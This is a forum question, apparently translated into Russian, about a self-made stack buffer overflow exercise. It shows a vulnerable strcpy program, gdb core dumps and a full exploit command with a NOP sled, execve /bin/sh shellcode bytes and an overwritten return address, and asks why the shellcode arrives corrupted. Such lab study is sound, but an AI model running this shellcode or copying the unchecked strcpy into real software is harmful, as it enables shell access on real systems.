Я тестирую очень простое переполнение буфера в приведенном ниже коде.
int main(int argc, char** argv) {
char buffer[25];
strcpy(buffer, argv[1]);
return 0;
}
Мне удалось обнаружить, что мне нужно написать 37 байт, чтобы достичь местоположения RET с помощью gdb.Поэтому я сначала вставил «AAAA ...», чтобы завершить работу программы и получить файл ядра.Это закончилось SIGSEGV, и я мог обнаружить, что расположение буфера символов [25] равно 0xbffff6c7.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/20wx $esp-50
0xbffff6be: 0xffff0804 0x1dd6ffff 0x414141e5 0x41414141
0xbffff6ce: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6de: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6ee: 0x41414141 0x41414141 0x00414141 0xc858bfff
0xbffff6fe: 0x0000b7fd 0xf71c0000 0xf790bfff 0x0000bfff
(gdb) x/s 0xbffff6c7
0xbffff6c7: 'A' <repeats 50 times>
Затем я отправил полезную нагрузку с комбинацией Shellcode, NOP Instructions и значения RET (0xbffff6c7),Тем не менее, он снова потерпел крах с SIGSEGV.
kuics@kuics-VirtualBox:~/practice$ ./vuln $(python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xc7\xf6\xff\xbf"')
Segmentation fault (core dumped)
В замешательстве я открыл обновленный файл ядра.Посмотрев в то же место, я обнаружил, что шеллкод был разбит со многими 0x00 байтами в середине.И мне интересно, как это могло произойти.Есть ли возможные сценарии?
(gdb) x/20wx $esp-50
0xbffff6ae: 0xf6c70804 0xf8b2bfff 0x9ff4bfff 0x84a10804
0xbffff6be: 0xffff0804 0x1dd6ffff 0x909090e5 0x90909090
0xbffff6ce: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffff6de: 0x00006e69 0x622f0000 0x2f2f6e69 0x00006873 <= there
0xbffff6ee: 0x00000000 0xf7840000 0xf790bfff 0xc858bfff
- Я уже отключил ASLR, SSP (Stack-Smashing Protector) и NX Bit.